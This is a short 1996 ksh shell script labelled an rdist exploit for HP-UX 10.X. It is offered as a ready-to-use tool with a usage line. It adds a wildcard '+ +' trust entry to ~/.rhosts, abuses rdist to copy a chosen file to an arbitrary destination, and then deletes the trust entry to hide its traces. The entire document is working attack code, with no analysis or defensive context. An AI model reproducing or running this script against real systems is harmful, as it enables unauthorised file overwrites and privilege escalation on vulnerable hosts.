HP/UX Rdist exploit

#!/bin/ksh

# SOD rdist exploit for HP/UX 10.X
# Boner 10Aug96

if [ -z "$2" ]
then
  echo "usage: rdcp from to"
  exit
fi

FROM=$1
TO=$2
TMP=/tmp/.tmp$$
HOME=`pwd`

if [ "${FROM}" = "${FROM#/}" ]
then
  FROM=$HOME/$FROM
fi

echo '+ +' >> ~/.rhosts

echo "Copying $FROM to $TO"
rdist -f - << EOF > /dev/null 2>&1
${FROM} -> localhost
        install ${TMP};
EOF
mv ${TMP} ${TO}
grep -v "+ +" ~/.rhosts > $TMP
mv ${TMP} ~/.rhosts
if [ -f ${TMP} ]; then rm ${TMP}; fi